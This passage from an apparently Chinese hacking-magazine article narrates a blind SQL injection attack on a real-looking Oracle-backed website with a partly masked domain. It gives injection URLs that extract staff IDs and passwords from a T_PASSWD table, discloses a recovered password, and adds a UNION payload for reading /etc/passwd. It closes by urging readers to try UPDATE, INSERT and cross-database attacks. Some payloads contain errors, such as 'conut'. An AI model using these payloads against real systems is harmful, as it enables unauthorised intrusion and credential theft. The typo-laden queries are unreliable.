从这里就可以看出完全是同一个表了。其实遇到这么多次程序,还没见过是分开建的表呢。最后得出表名是:T_PASSWD,列名有四个,分别是STAFF_ID、STS、PASSWORD、LAST_DATE,后来证实这些猜解都是正确的(进了服务器就什么都看到咯,如图3所示)。

图3
以上的过程是很枯燥的,死了不少脑细胞,觉得和猜Access一样。要是Oracle有像MSSQL月月秒年个直接暴库、表的方法就好了。呵呵,接下来的事,当然是要搞个用户名和密码了。Come on!看看最小的STAFF_ID的值是多少:
| http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 1=(select min(STAFF_ID) from T_PASSWD) and '1'='1 |
| http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(PASSWORD,1,1)=’1’ and STAFF_ID=1) and '1'='1 |
当然大家也可以用Ascii()函数来猜,关于这方面很都前辈都说过了,这里就不再做说明,不然编辑说我骗稿费了,呵呵。猜不到10分钟就出来了密码:“19791108”,好像是生日哟。有密码了,没用户还不行,接下来的事就简单多了:
| http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(STS,1,1)=’1’ and STAFF_ID=’T’) and '1'='1 |
最后补充几点:如果开放Public组的UTL_FILE则有可能读取服务器上的文件,如果设置错误,可以得到任何文件,如:读出/etc/passwd文件,不过它要和Union联合使用,如:union select 'hoge','../../../../../etc/passwd','1','1','1' from SOMETABLE--。关于Union查询,黑防七期上angel的PHP注入文章里已经介绍得比较详细:前面的语句要构造假的条件,才能返回后面的查询。当然,你也可以尝试Update、 Insert、跨库等,如果你想知道答案的话,自己来吧!相信黑防近期就会出这样的文章了。当然如果你有什么好的办法或者资料,记得给我一份哟。

